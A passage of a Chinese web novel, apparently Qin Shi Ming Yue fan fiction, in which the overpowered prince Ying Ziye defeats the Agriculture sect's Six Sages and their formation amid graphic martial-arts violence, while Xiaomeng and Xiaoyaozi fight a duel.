有人试图挥戟格挡,却连人带兵器被硬生生劈成两截。
田虎怒吼着挥动虎魄剑,连斩三记!
依旧被震得连连后退,胸口血气翻涌!!
独眼大汉像是根本不把他放在眼里,反手一勾,将一名亲卫整个人从腰部撕开,血雨溅了满地!
混战如同地狱开门!
噬牙狱的囚徒们乱杀一通,鲜血在地上汇成暗红溪流!
朱家在乱军之间疾走,虚影与真身交错不定,
每一次逼近的杀招,都被虚影替他挡下。
他脚步未停,手中印诀连变,硬生生在数十名高手的夹击中撕开一道缝隙!
趁着独眼大汉陷入杀戮狂潮,他的身形一晃,消失在密林深处,只留下一地残影在刀光剑影中逐渐散去…
不足十息,田虎麾下精锐便尸横遍地。
而田虎,则是半跪在血泊中,大口喘息。
刚才田言银针里的剧毒,已经遍布他全身!!!
独眼大汉舔去爪尖的血,狞笑着抬眼。
“有一个算一个。”
“都给我死——”
然而,一声如山洪暴发般的怒喝骤然打断了他的动作!
只见赵弋苍带着一群暗河死士赶来,他硕大的身影挡在众人前方,炎阳重剑斜指地面,剑锋上蒸腾着灼热的白雾!
“公子有令,不许对烈山堂和四岳堂出手。”
独眼大汉停下脚步,独眼中戾光未散。
“凭什么?”
赵弋苍一步踏前,沉声如雷。
“违令者,死!!!”
“放屁!”
一名满脸刺青的囚犯舔着短刀。
“老子就是要杀光他们!!”
他话音刚落,赵弋苍的重剑已经劈下。
刺青囚犯连惨叫都来不及发出,就被炽热的剑气蒸发了上半身!!
“再说一遍。”
赵弋苍剑锋滴血,声音冷得像冰。
“违令者,死。”
剩余的噬牙狱囚犯顿时噤若寒蝉。
那独眼大汉独眼中凶光闪烁,却终究没敢动手,只是狠狠啐了一口。
“走!去找其他猎物!”
……
不远处,田言紫衣染血,惊鲵剑微微颤抖。
她看着那些囚犯离去的背影,第一次真切感受到了赢子夜的可怕。
连这些疯子…都在听到“公子之令”时,会本能地畏惧。
第165章 六贤出手,天地之力,尽为所用!
山道之上,狂风骤起。
六道苍老的身影凌空而立,衣袍猎猎作响,仿佛与天地融为一体。
他们目光如电,穿透层层硝烟,最终锁定在那道玄色身影上。
赢子夜负手而立,衣袍上的暗纹在风中流转,如蛰伏的玄鸟,静待展翅之机。
兵主踏前一步,声如洪钟。
“阁下便是大秦六公子?”
赢子夜抬眸,唇角微扬。
“正是。”
简单二字,却让六贤眉头微皱。
他们周身气息如渊似海,无形的威压如山岳般倾轧而下,地面碎石竟在这股压力下无声化为齑粉!
然而,赢子夜依旧从容,甚至连衣角都未颤动分毫。
“好胆识。”
历师冷笑。
“可惜,胆识救不了命。”
药王指尖轻捻,一粒丹药化为青烟。
“年轻人,农家之事,不是你该插手的。”
赢子夜轻笑。
“若本公子偏要插手呢?”
“那就试试农家的地泽二十四!!!”
谷雨位长老厉喝,枯瘦的手掌猛然下压。
轰。
天地骤变。
六贤身影瞬间移位,各自占据一方天穹。
兵主居东,如春雷惊蛰。
历师镇南,似盛夏骄阳。
药王守西,若秋风肃杀。
谷雨位长老踞北,同寒冬凛冽。
余下二位分列天地,勾连生死轮回。
更恐怖的是,下方原本混战的农家弟子竟如潮水般汇聚。
蚩尤堂的彪形大汉、共工堂的冷面**、甚至方才还在与田虎厮杀的神农堂残部,此刻全被一股无形之力牵引,如提线木偶般站定方位。
数千人气息相连,竟在转瞬间结成一座覆盖方圆十里的惊天大阵。
“地泽二十四,生死轮回——”
六贤齐声长吟,声音如从远古传来。
“启!”
咔嚓。
地面龟裂,二十四道气柱冲天而起,每一道皆对应一节气。
春分位的弟子长剑出鞘,剑气化雨。
大暑位的壮汉双锤砸地,烈焰焚天。
霜降位的少女袖舞寒霜,冰封千里。
天地之力,尽为所用!
……
山崖阴影处。
吴旷五指深深抠进岩壁,指节因用力而发白。
远处那冲天而起的二十四节气光柱,将他的脸庞映得忽明忽暗。
“地泽二十四……”
他嗓音沙哑。
“六贤长老竟亲自出手了。”
胜七扛着巨阙,铁链哗啦作响。
他盯着阵中那道玄色身影,独眼中闪过一丝忌惮。
“那小子有古怪。”
吴旷突然按住他肩膀,“别动!”
只见一队蚩尤堂弟子正从下方山道仓皇逃过,有人哭喊着。
“长老们疯了!农家要完了!”
胜七肌肉绷紧,巨阙剑锋微微震颤,却终究没有挥出。
“现在露面,只会被卷进绞肉机。”
吴旷松开手,掌心全是冷汗。
“等他们两败俱伤……”
巨阙重重**泥土,胜七从鼻子里哼出一声。
“老子迟早剁了田密那个贱女人。”
……
古松断枝上。
逍遥子拂尘缠住一根残枝,白眉下的眼睛微微眯起。
他指尖掐诀,一缕青光掠过瞳孔。
那是道家望气术。
“朱家已过断龙石。”
他突然道。
盖聂独臂按在树干上,木剑悬于腰侧。
远处阵中传来的能量波动,吹得他空荡的右袖猎猎作响。
“六贤冢的禁制……”
他声音平静得像在讨论天气。
“比想象中更麻烦。”
逍遥子袖中滑出半枚龟甲,上面裂纹如蛛网蔓延。
“天机混沌,那小子身上有东西遮蔽了命数。”
一片枯叶飘过两人之间。
盖聂突然伸手夹住,叶片在他指间碎成齑粉。
“我们该走了。”
没有解释,但逍遥子了然点头。
当剑圣都在说“走”时,意味着连他都判断此地局势,或…已成死局!
白雾无声漫起,掩去二人踪迹。
最后消失的,是盖聂回望战场时那抹深不见底的眼神。
……
大阵边缘,血泥混杂处。
梅三娘的金钟罩早已破碎,她拖着典庆半截身子往岩石后爬,身后拖出长长的血痕。
“师、师兄撑住……”
她牙齿咬得咯咯响。
“有老娘带你出去……”
典庆青铜皮肤寸寸龟裂,露出下面蠕动的血肉。
他浑浊的眼球转动,突然死死盯住某个方向。
那里,田言望着六贤冢的地泽二十四阵失神,田赐则正傻笑着撕开一名共工堂弟子的胸膛。
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>“阿赐……停……”
典庆喉咙里涌出血沫。
梅三娘猛地捂住他的嘴。
“别出声!那疯子现在敌我不分!”
……
就连王离的百战穿甲兵也被这股威势逼得连连后退,狼贲脸色惨白。
“将军,这……”
王离握紧佩剑,指节发白。
“退!全军后撤!”
天地色变,狂风怒号。
地泽二十四阵中,狂暴的天地之力如怒海狂涛,将整片战场笼罩在毁灭的气息之下。
晓梦白衣染血,拂尘银丝寸寸断裂。
她强忍内息翻涌,紫眸中闪过一丝罕见的焦虑。
“公子!这阵法有古怪!”
少司命紫纱飞扬,万**花流在周身形成护盾。
她虽不言不语,但指尖微微发颤,泄露了内心的担忧。
一道秋枯之气袭来,她的护盾瞬间消融,不得不后退数步。
赢子夜却抬手制止,嘴角勾起一抹从容的笑意。
“不必过来。”
他目光扫过二女,传音入密。
“大师,夫人,你们去追其他人,这里交给我。”
晓梦眉头紧蹙。
“你——”
“听话。”
赢子夜的声音温柔却不容置疑。
“大局为重。”
少司命紫眸微闪,终是轻轻点头。
她指尖一弹,三片青叶破空而去,为二人开出一条生路。
晓梦深深看了赢子夜一眼,拂尘一甩。
“若你有不测,本座定让农家陪葬!!!”
话音未落,她已化作一道白虹掠出阵外。
……
待二人离去,赢子夜眼中金芒大盛。
他嘴唇微动,传音如涟漪般扩散。
“暗河听令,你们带着噬牙狱的囚犯猎杀阵中农家弟子,一个不留。”
阴影中,数十道黑影无声浮现!!
昭鞅铁面具崩裂,露出半张狰狞染血的脸。
他手中短刀寒光闪烁!
赵弋苍炎阳重剑燃起赤红烈焰,咧嘴一笑。
“属下领命!”
更远处,噬牙狱的囚犯们发出野兽般的嚎叫!
独眼大汉撕开一名农家弟子的喉咙,狂笑道。
“老子等这一刻很久了!”
赢子夜负手而立,玄色衣袍在狂风中猎猎作响。
他望着天穹上六道身影,忽然笑了:“好了,开始吧。”
第166章 生死轮回!
天地骤然变色,乌云翻涌如墨,压得群山都在轰鸣。
六道苍老身影自虚空浮现,立于二十四道节气光柱之巅。
每一道身影的气息,都仿佛能压塌一座城池!!
大地轰然开裂,万顷山河在脚下沉陷!!
阵势所及之处,水枯木萎、飞沙走石,甚至连日月之光都被剥夺,天地陷入一片灰暗死寂!
四周千余农家弟子同时盘膝运功。
真气化作滚滚洪流注入二十四阵中!!
气柱拔地而起,与天穹雷海连为一体,声势震得万兽匍匐!!
兵主怒目如炬,吐气如雷:
“赢子夜!今日,便让你葬身在农家历代先贤的荣光之下!”
话音落下,二十四道气柱骤然凝为一体,化作遮天蔽日的巨轮碾压而下,连空间都被压得扭曲变形。
历师拂尘一甩,惊蛰雷霆化作无数银龙,沿着巨轮边缘疯狂舞动,发出摧城裂岳的巨响。
药王捏诀,空中骤降无数药鼎虚影,鼎口溢出碧焰,焚得虚空寸寸焦黑。
这是农家真正的底蕴。
这是千年传承的至强杀阵。
换作任何一位高手,此刻都已心胆俱裂。
遥想当年,那位纵横沙场,坑尽四十万赵卒的杀神白起。
便是在此阵之下陨落!
那一战,天地为血雾染红,杀气浓得能凝成实质,笼罩方圆百里!
二十四道气柱化作二十四柄擎天巨刃,交错封锁虚空,将白起困于其间,寸步难行!
每一息,便有千百道剑气撕裂他的铠甲与血肉。
每一步,脚下的土地便崩塌成深不见底的黑渊!
最终,在漫天血光与雷霆交织之中,那位横尸百万战场的绝世战神,被生生**成了一捧飞灰!
连战魂都没能逃脱。
……
赢子夜负手而立,玄色衣袍猎猎飞扬,任由那股毁天灭地的力量逼近。
他嘴角,缓缓勾起。
“区区地泽二十四,也配称底蕴?”
他抬手一握,金光自指尖迸发,瞬息间席卷天地。
虚空震鸣,一道金色巨龙法相自他背后冲天而起,龙吟贯穿九霄,震得六贤气血翻涌。
巨龙长达千丈,鳞甲如铸金神兵,每一次摆尾都搅得风云逆流。
巨轮碾压而下的瞬间,金龙昂首咆哮——
一口便将那遮天雷海与巨轮吞入腹中!
轰鸣声中,**乌云瞬间崩散,雷海无踪,气柱尽灭!!
六贤震惊失色。
药王手中丹药“啪”地粉碎,连呼吸都僵住。
兵主更是面色铁青,死死盯着那道巍然不动的身影,喉间溢出两个字:
“不可能……”
兵主失声惊呼。
“你竟已修成法相!”
赢子夜微微一笑,身后金光凝聚,又一尊高达百丈的金甲神将虚影缓缓浮现。
神将三头六臂,手持各种神兵,双目如日月般璀璨,周身环绕着混沌之气。
“暗河听令。”
赢子夜声音不大,却清晰地传入每个人耳中。
“破阵!”
“杀!”
赵弋苍一声暴喝,炎阳重剑燃起熊熊烈火,带着数十名暗河死士杀入阵中。
噬牙狱的凶犯们更是如野兽出笼,独眼大汉狂笑着撕开一名农家弟子的胸膛。
“痛快!”
六贤见状,急忙变阵。
谷雨位长老双手结印。
“地泽二十四,生死轮回!”
大阵顿时光芒暴涨,二十四节气之力化作实质,春生、夏荣、秋枯、冬灭四种力量交织成网,将整片战场封锁在其中。
下一瞬——
春生之气化作无数青藤狂舞,瞬间缠住数十名噬牙狱囚犯,将他们拖入地下,化为森森白骨!
夏荣之火如烈阳坠地,轰然砸在暗河**的防御阵上。
百丈火浪席卷,数十道黑影在尖叫中化为焦炭!!
秋枯之风携裹无形的刀锋,割裂空气。
连带着数名持盾狼贲的头颅一同飞起,鲜血如雨洒落!!
冬灭之寒降临,地面寸寸结冰,三名暗河剑士连闪避的机会都没有,瞬间化作冰雕,下一刻脆裂成粉!!
短短数息,赢子夜一方便折损近五成精锐!!
空气中血腥味浓得令人作呕,战场仿佛被无形巨兽吞噬,不论是暗河的顶尖刺客,还是噬牙狱的凶徒,在这股力量面前都脆弱得不堪一击。
所有人第一次切身感受到。
这正是当年镇杀白起的恐怖杀阵!!
他们在这阵中,宛如蝼蚁!!!
一些噬牙狱的凶徒见到这阵仗,居然怕了,一言不发扭头就跑!
结果被阵外督战的昭鞅,毫不留情的一剑**。
“临阵脱逃者,死!!”
而此刻,六贤凌空而立,衣袍猎猎,二十四节气之力环绕周身,俯瞰着下方如同蝼蚁般被碾碎的敌人。
他们的眼中,没有一丝波澜,仿佛在收割早已注定的命运!
赢子夜无动于衷,冷哼一声,金甲神将六臂齐动。
左手持剑斩破春生之气,右手握锤击碎夏荣之火,中间双臂结印,一道金色光幕将秋枯、冬灭之力隔绝在外!
“轰!”
天地震颤,气浪翻滚。
方圆十里内的树木尽数折断,山石崩裂!
王离在远处看得目瞪口呆,手中望远镜啪嗒落地。
“这……这还是人力所能及吗?”
狼贲咽了口唾沫。
“将军,我们……”
“全军听令!”
王离猛地回神,抽出佩剑。
“火速前进,保护公子!”
战场中央,杀声震天,血雾弥漫。
赢子夜缓缓前行,每踏出一步,大地便轰然下陷,宛若背负着整片天空的压迫感。
金甲神将虚影高达百丈。
身后巨龙咆哮,吞吐龙息!
六臂挥舞间。
剑、刀、锤、印各司其职,硬生生将二十四节气的攻势压退半分。
“稳住阵脚!”
谷雨位长老低喝一声,春生之气化作万千青藤缠上金甲神将的双腿,夏荣之火化作烈阳砸向赢子夜头顶,秋枯之风割裂虚空,冬灭之寒封锁四周空间。
金甲神将的脚步第一次被迟滞!!
赢子夜微微侧眸,金瞳深处闪过一抹冷光。
兵主长啸,挥动长戟劈开半空,地面瞬间裂出百丈沟壑,滚烫的熔岩喷涌而出!
与夏荣之火交织成一片火海。
将金甲神将与赢子夜完全笼罩其中!
烈焰中,药王猛然抛出一粒墨绿色丹药,丹药落地的刹那,化作无数藤蔓狂卷而上,直取赢子夜咽喉!
两名长老同声断喝:“惊蛰!霜降!”
半空骤然雷霆炸裂,万道电蛇裹挟着雪刀般的寒芒同时
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斩下,金甲神将的护身光幕第一次出现裂痕!
“好!”
兵主眼中闪过杀机,六贤同时催动全力,二十四节气之力汇聚成一柄遮天巨刃,从天而降,带着能将整片山脉劈成废墟的气势。
直斩赢子夜天灵!!!
空气被完全抽空,四周所有人呼吸一窒!
噬牙狱和暗河的幸存者脸色惨白,连抬头的勇气都没有!!
这!
才是六贤的极限一击!!
金甲神将抬起双臂硬接!
整片战场轰然震动,万丈尘浪冲天而起!
冲击波将最近的数百名士卒和**直接抛飞出去,砸落在数十丈外,生死不知。
烟尘中,赢子夜脸色一白,身影微微踉跄了一步。
兵主等人见状,眼底闪过狂喜——
他们真的逼退了对方!
然而!
下一刻,赢子夜低声吐出一个字。
“破。”
金甲神将六臂齐动,剑光、刀罡、锤影、掌印齐发,凝为一道直径数十丈的金色光柱,轰然砸向大阵核心!
二十四节气之力疯狂逆流,六贤真气急速流逝,脸色瞬间惨白。
“顶住!”
兵主咬破舌尖,血光涌动,可光柱如天罚降世,摧枯拉朽般击穿层层节气之网。
“咔嚓——”
那是阵心碎裂的声音,清脆得仿佛敲在每个人心头。
二十四道气柱同时崩溃,天地间的节气之力彻底溃散,六贤口吐鲜血,犹如断线风筝般坠落大地。
地泽二十四阵。
破!!!
六贤同时喷出一口鲜血,从半空跌落。
药王颤抖着掏出一枚丹药。
“快……快撤!回六贤冢!”
赢子夜岂会给他们机会?
他身形一闪,已挡在六贤面前。
金甲神将虚影居高临下地俯视着他们,如同神明俯视蝼蚁。
“现在想走?晚了。”
兵主怒目圆睁。
“赢子夜!你敢!六贤冢乃我农家老祖……”
“聒噪。”
赢子夜屈指一弹,一道金光贯穿兵主眉心。
这位农家最强者,连惨叫都未发出,便轰然倒地。
剩余五贤肝胆俱裂,仓皇逃窜!
赢子夜冷笑一声,金甲神将六臂齐出,五道金光如流星般追去。
“不!”
药王回头看到金光袭来,绝望地嘶吼。
“轰轰轰!”
五声巨响过后,六贤冢前只剩下五个焦黑的深坑。
赢子夜收起法相,转身望向六贤冢方向,眼中金芒闪烁。
“该结束了。”
远处,王离率领大军疾驰而来。
“公子!末将护驾来迟!”
赢子夜头也不回地摆摆手。
“打扫战场,我去去就回。”
说罢,身形一闪,化作一道金光直奔六贤冢而去。
战场上,幸存的农家弟子面如死灰。
重伤的田虎早已没有了力气,跪在地上,喃喃自语。
“完了……全完了……”
独眼大汉一脚踹翻一名农家弟子,狂笑道。
“老子还没杀够呢!”
赵弋苍收起重剑,望着赢子夜离去的方向,眼中满是敬畏。
“公子他……真的还是凡人吗?”
天空乌云渐散,一缕阳光穿透云层,照在满目疮痍的战场上。
这一战,注定要载入史册。
第167章 此去一途,终是无归!!!
山道幽深,夜风呜咽。
朱家踉跄着扶住岩壁,面具早已碎裂,露出那张布满皱纹的苍老面容。
鲜血从嘴角不断溢出,在青石上滴出暗红斑痕。
“想不到…我朱家…会落得如此下场…”
树影晃动,一个身影从阴影中踱出。
那人嘴角挂着玩世不恭的笑意,腰间酒葫芦随着步伐轻轻摇晃。
“朱堂主,伤得不轻啊。”
朱家猛地抬头,浑浊的眼中闪过一丝希望。
“刘季?”
刘季蹲下身,掏出一块布巾按在朱家胸前伤口上。
“您老悠着点,这血再流下去,神仙也难救。”
“呵…”朱家苦笑。
“神仙?今日倒是见着个比神仙还可怕的…”
远处传来追兵的脚步声,火把的光亮隐约可见。
刘季眯起眼,脸上笑意不减。
“田虎的人追来了,您老有什么打算?”
朱家颤抖着从怀中掏出一块青铜令牌,上面“侠魁”二字在月光下泛着幽光。
“拿着…农家…不能落在那些人手里…”
刘季没有立即接过,而是意味深长地看着朱家。
“您老这是要把农家十万弟子的性命,交到我这个游手好闲的人手里?”
“你…比他们强…”朱家咳出一口血。
“我看得出来…你藏得深…”
刘季突然笑了,这次的笑容里少了往日的轻浮,多了几分深意。
“朱堂主好眼力。”
他伸手接过令牌,指尖在“侠魁”二字上轻轻摩挲。
“不过…”
朱家突然抓住刘季的手腕,力道大得惊人。
“你若敢负了农家…我做鬼也不放过你!!”
刘季不慌不忙地掰开朱家的手。
“您老放心。”
他将令牌收入怀中,动作轻巧得像在收一枚铜钱,“我刘季虽然贪杯好赌,但答应的事…从不食言!”
追兵的火光越来越近。
刘季站起身,拍了拍衣摆上的尘土。
“您老保重,我得走了。”
朱家望着刘季离去的背影,突然喊道。
“刘季!记住…活着…才有翻盘的希望…”
刘季没有回头,只是挥了挥手,身影很快消失在夜色中。
他的声音随风飘来,带着一贯的懒散。
“知道啦——”
山道上,朱家缓缓闭上眼睛。
当骨妖带人赶到时,只看到一具渐渐冰冷的尸体。
“侠魁…”
骨妖一脚踢开朱家的尸体,怒吼道:“给我搜!他定然是把侠魁令藏起来了!”
而此时,刘季早已翻过山岭。
他站在高处,望着远处仍在燃烧的战火,从怀中掏出侠魁令,嘴角勾起一抹意味深长的笑。
“这赌注…下得可真大啊…”
……
山间雾气缭绕,残阳如血。
逍遥子与盖聂踏着枯叶穿行于密林之中,四周寂静得只剩下风声。
“农家之事已了。”
逍遥子拂尘轻扫,白眉下的目光深邃如渊。
“接下来你有什么打算?”
话音未落,一道白影如惊鸿掠过树梢,稳稳落在前方巨石之上。
晓梦白衣胜雪,手中拂尘银丝无风自动,紫眸中寒光凛冽。
“逍遥子。”
她声音清冷。
“桑海城未竟之战,今日该有个了断了。”
盖聂左手按上木剑剑柄,独臂衣袖微微飘动。
逍遥子却抬手制止。
“盖先生先走一步,老道随后便来。”
盖聂目光在二人之间流转,最终微微颔首。
“保重。”
说罢身形一闪,消失在密林深处。
晓梦唇角微扬。
“你倒是放心让他独自离去。”
逍遥子拂尘一甩。
“天宗人宗之争,不该牵连外人。”
“迂腐。”
晓梦冷笑,突然拂尘炸开万千银丝。
“天地失色!”
刹那间,方圆百丈内的色彩尽数褪去,万物陷入灰白之境。
树叶凝固在半空,连风声都戛然而止。
逍遥子白眉一颤,雪霁剑铿然出鞘。
“万川秋水!”
青光暴涨,剑锋划过之处,灰白世界被撕开一道裂痕。
两股道门至高真气相撞,爆发出震耳欲聋的轰鸣!
气浪掀飞方圆十丈内的树木,露出光秃秃的山岩。
晓梦凌空而立,衣袂翻飞!
“几个月不见,你这‘和光同尘’倒是精进了。”
逍遥子脚踏八卦方位,雪霁剑泛起蒙蒙青光。
“晓梦师侄何必咄咄逼人?天人之争,不过理念不同…”
“住口!”
晓梦紫眸骤冷。
“道法自然,岂容你等伪道篡改?”
她双手结印,身后浮现巨大太极图。
“天罡剑阵!”
无数剑气自太极图爆射而出,每一道都带着撕裂虚空之势。
逍遥子雪霁剑舞成光幕,却仍被三道剑气穿透肩膀,鲜血顿时染白袍。
“你…”
逍遥子咳出一口血。
“竟修成了太乙分光剑?”
晓梦不答,身形突然一分为三,从三个刁钻角度攻来。
逍遥子急掐剑诀。
“梦蝶之遁!!!”
身影化作万千光蝶四散。
“雕虫小技。”
三个晓梦同时冷笑,拂尘银丝突然暴涨,如天罗地网般笼罩所有光蝶。
银丝过处,光蝶纷纷炸裂,逍遥子真身被迫现形,踉跄后退。
“你的‘坐忘心法’呢?”
晓梦真身缓步逼近。
“使出来让本座看看!”
逍遥子抹去嘴角血迹,突然盘膝而坐,雪霁剑横置膝上。
“既然师侄执意相逼…”
他双目微阖。
“大道无情。”
天地元气疯狂汇聚,逍遥子周身浮现七颗星辰虚影,按北斗方位排列。
晓梦脸色微变。
“北斗封魔阵?你竟敢用禁术!”
“为阻你入魔,值得。”
逍遥子须发皆张,七颗星辰同时射出光柱。
晓梦不避不闪,双手在胸前结印。
“心若止水。”
一道透明水幕凭空浮现,光柱击中水幕竟如泥牛入海。
她指尖轻挑,水幕突然炸开,化作漫天冰针反袭逍遥子。
“噗噗噗——”
逍遥子身上爆开数十朵血花,北斗阵势顿时溃散。
他单膝跪地,雪霁剑深深插入地面支撑身体。
“这就是你的极限?”
晓梦缓步走近,拂尘银丝缠上雪霁剑柄。
“人宗道统,不过如此。”
逍遥子突然抬头,眼中精光爆射。
“梦蝶幻境!”
晓梦眼前景象骤变,发现自己站在悬崖边缘,脚下是万丈深渊。
她冷哼一声。
“区区幻术…”
拂尘横扫,幻境应声而碎,却见逍遥子已持剑刺到胸前。
“铛!”
雪霁剑刺中晓梦心口,却
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被一层无形气墙挡住。
她紫眸中闪过一丝讥诮。
“忘了告诉你,在六公子指点下,本座已修成‘天罡护体’。”
玉手轻抬,按在逍遥子丹田。
“天籁传音!”
“轰!”
逍遥子如断线风筝般倒飞出去,撞断三棵古松才停下。
雪霁剑脱手而出,斜插在地微微颤动。
晓梦凌空摄来雪霁剑,指尖轻抚剑身。
“从今往后,道家只余天宗一脉。”
逍遥子艰难支起身子,忽然笑了。
“你错了…道法自然…本就不该…有门户之见…”
晓梦皱眉,正要开口,忽见逍遥子双手结印,周身泛起耀眼白光。
“不好!”
她急退数丈,却见那白光骤然暴涨,天地间的元气如惊涛骇浪般向逍遥子汇聚。
狂风卷动林木折断,枯叶在空中化作灰烬。
原地的逍遥子仿佛化成一轮烈日,须发皆张,白袍猎猎作响。
“晓梦师侄……”
他的声音透着前所未有的平静。
“既然你执意入魔……师叔今日便以命相阻。”
“北斗——陨灭!”
七颗星辰虚影在他周身轰然亮起,化作七道贯天光柱齐齐坠落在他自己体内。
“轰——!”
一声震耳欲聋的巨响,百丈方圆的山林在白光中化为齑粉,地面被硬生生掀起三尺厚的岩层,冲击波席卷四野。
晓梦被震得连退十数丈,拂尘银丝寸寸断裂,护体真气被逼得溃散,唇角溢出鲜血。
白光消散后,原地只剩一个焦黑的深坑,坑底空无一物,连半片骨渣都未留下。
晓梦握紧雪霁剑,紫眸中怒意与复杂交织,低声吐出两个字。
“蠢货。”
远处山巅,盖聂独立风中,木剑悬于腰间。
他望着那片焦土,独臂衣袖猎猎作响。
“逍遥道兄……”
他低声道。
“此去无归。”
暮色四合,最后一缕阳光照在雪霁剑上,寒光依旧凛冽如初,却再无昔日温度。
……
六贤冢外,山风呜咽。
赢子夜负手而立,玄色衣袍上的暗纹在暮色中流转,如同活物。
他每踏出一步,地面便微微震颤,仿佛承受不住这份威压。
田言带着烈山堂众人紧随其后,紫衣在风中猎猎作响。
她第一次如此近距离地观察这位传说中的六公子——
那张俊美如玉的面容上看不出喜怒,唯有一双黑瞳深不见底,让人不敢直视。
“公子神威盖世!”
司徒**突然抢步上前,满脸谄媚。
“今日若非公子出手,农家必遭大难!属下愿…”
话音未落,一道金色剑气凭空而生,瞬间洞穿司徒**的心脉。
他瞪大眼睛,不可置信地低头看着胸前血洞。
“为…为什么…”
赢子夜连眼神都未施舍给他,只是淡淡道。
“反复横跳的狗,本公子可不喜欢。”
司徒**轰然倒地,溅起的尘土沾湿了田言的裙角!
她指尖微颤,却强自镇定地站在原地。
赢子夜的目光终于落在她身上,似笑非笑。
“农家之地,你来善后,该抓的抓,该杀的杀……”
田言深深一礼。
“谨遵公子之命。”
她声音平稳,唯有紧握的惊鲵剑泄露了内心的波澜。
赢子夜不再多言,转身走向六贤冢入口。
第168章 天地共鸣!
石门上的禁制感应到外来者,顿时亮起二十四道符文。
他看都不看,袖袍一挥,符文尽数崩碎。
厚重的石门在无声中化为齑粉,露出幽深的甬道。
踏入冢内,赢子夜的金瞳在黑暗中熠熠生辉。
四周石壁上刻满了农家秘传**,但他连瞥一眼的兴趣都没有。
“垃圾。”
轻飘飘两个字在空荡的墓室中回荡。
这些让外界趋之若鹜的传承,在他眼中还不如系统每日秒杀的一瓶丹药。
甬道尽头,一尊青铜古鼎静静悬浮在祭坛之上。
鼎身刻满日月星辰、山川草木,散发着古老而神秘的气息。
赢子夜眼中终于闪过一丝兴趣。
“神农鼎…”
他伸手虚按,鼎身突然剧烈震颤,发出清越的嗡鸣。
一道青光自鼎口喷薄而出,在空中化作百草虚影。
赢子夜指尖金芒流转,轻喝一声。
“收!”
青光顿时如百川归海,尽数没入他袖中。
神农鼎缩小成巴掌大,被他随意丢进储物戒。
转身看向祭坛后的壁画,那里完整记录了地泽二十四阵的精髓。
二十四节气化作二十四道剑痕,每一道都蕴含着天地至理。
赢子夜凝视片刻,突然笑了。
“有意思。”
他盘膝而坐,周身突然浮现七道血色剑影。
正是日前秒杀获得的“七杀剑阵”。
七道剑影与壁画上的二十四节气剑痕遥相呼应,空气中顿时响起金铁交鸣之声!
“春分。”
赢子夜轻语,一道血色剑影突然染上嫩绿,剑气中竟蕴含勃勃生机。
“大暑。”
又一道剑影转为赤红,热浪扑面而来。
“霜降。”
第三道剑影覆上白霜,寒意刺骨。
随着他每念出一个节气,就有一道剑影发生异变!
墓室内景象开始诡异地轮转!!
左侧草木疯长,右侧冰雪覆盖,前方烈焰熊熊,后方秋风萧瑟。
赢子夜闭目内视,神识海中两套阵法正在激烈碰撞。
七杀剑阵凶戾霸道,地泽二十四阵生生不息。
每一次碰撞都让他经脉剧震,嘴角溢出一丝鲜血。
“不够…”
他喃喃自语。
“还差一点…”
突然,他睁开金瞳,双手结出一个古怪剑印。
“以杀止杀,以生养生——合!”
“轰!”
赢子夜周身七道血色剑影与壁画上的二十四节气剑痕交织碰撞。
每一次冲击,都让冢内的空气仿佛被碾碎,化作肉眼可见的波纹向四面八方席卷!
神农鼎悬于头顶,鼎口青光狂涌,如江河倒灌般注入剑阵之中。
七道剑影杀气滔天,二十四节气之力生生不息。
两股力量不断互噬、交融,发出撕裂天地的轰鸣。
赢子夜指尖微颤,金瞳在闭合的眼帘下若隐若现。
他的气息正在急速攀升,可眉心却有一丝血线蜿蜒而下!
若是此刻有人打断,他极可能因反噬而经脉尽断。
下一瞬,整个六贤冢猛然一震!
青铜祭坛下的地脉轰然炸裂,冲天而起的灵光直贯冢顶,将厚重的山石炸得粉碎!!!
……
六贤冢外,天色骤变。
原本暮色沉沉的天空突然风起云涌,厚重的乌云如怒涛般翻滚汇聚,将整片天地笼罩在压抑的黑暗中。
狂风呼啸间,隐约有龙吟虎啸之声从地底传来,震得人耳膜生疼。
晓梦踏空而来,白发在风中狂舞。
她手中雪霁剑微微震颤,紫眸紧盯着六贤冢入口。
“这股气息…”
少司命几乎同时赶到,紫纱遮面却掩不住眼中的担忧。
她指尖凝聚三片青叶,就要往冢内冲去。
“且慢。”
田言闪身拦住去路,惊鲵剑横在身前。
“公子正在参悟要诀,不可打扰。”
少司命眸光一冷,万**花流在周身流转。
田言不慌不忙地补充。
“冢内地泽二十四阵正在被公子重新演化,此刻闯入,只会害他走火入魔。”
“你如何知晓?”
晓梦冷声质问,雪霁剑指向田言咽喉。
田言紫瞳微闪,轻抚心口。
“在下天生心眼,能感知真气流转。”
“此刻冢内气息虽狂暴,却井然有序,说明公子正在融合两套绝世阵法。”
地面突然剧烈震动,六贤冢上方的山岩崩裂,二十四道气柱冲天而起!!
每道气柱颜色各异,代表着不同节气之力。
气柱之间,隐约可见七道血色剑影穿梭交织,每一次碰撞都引发天地共鸣。
王离率领大军赶到时,正
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看到这骇人一幕。
他虎目圆睁。
“这…这是…”
“列阵!”
他猛地回神,拔出佩剑!
“**手上弦!方圆三里内,一只苍蝇也不准放进来!”
狼贲咽了口唾沫。
“将军,公子他…”
“闭嘴!执行命令!”
王离额角青筋暴起。
“百战穿甲兵听令!誓死护卫公子周全!”
少司命仰望着那二十四道气柱,面纱下的唇微微颤抖。
晓梦收起雪霁剑,难得地没有出言嘲讽,只是白眉紧锁。
“这小子…竟在融合地泽二十四?”
田言退到一旁,惊鲵剑始终未曾归鞘。
她看似镇定,实则后背已被冷汗浸透——
心眼所见远比肉眼更可怕。
在那六贤冢深处,两股毁天灭地的力量正在那个男人手中驯服、交融…
“轰!”
一道直径十丈的金光突然冲破冢顶,直入云霄。
云层被硬生生撕开一个巨大漩涡,月光如瀑般倾泻而下,照在那道金光上,竟折射出七彩霞光。
少司命不由自主向前一步,却被晓梦拂尘拦住。
“现在进去,你会被撕成碎片。”
王离的大军骚动起来,战马不安地嘶鸣。
狼贲死死按住自己的坐骑。
“将军,这动静太大了,恐怕会引来天灾啊…”
“闭嘴!”
王离额头渗出冷汗。
“无论是谁来,今日也要给我拦住!”
就在这时,二十四节气气柱突然向内收缩,七道剑影越发凝实。
天地间响起一声清越剑鸣,如凤啼九霄,回荡在每个人心头!
田言突然单膝跪地,惊鲵剑插入土中支撑身体。
“快成了…”
话音未落,所有异象骤然消失。
风停云散,月光如水,仿佛刚才的天地剧变只是一场幻觉。
当赢子夜踏出六贤冢时,最后一缕暮光也消散在天际。
少司命紫纱轻扬,几乎是瞬间闪至他身前,素手轻抬却又迟疑地停在半空。
“夫君…”
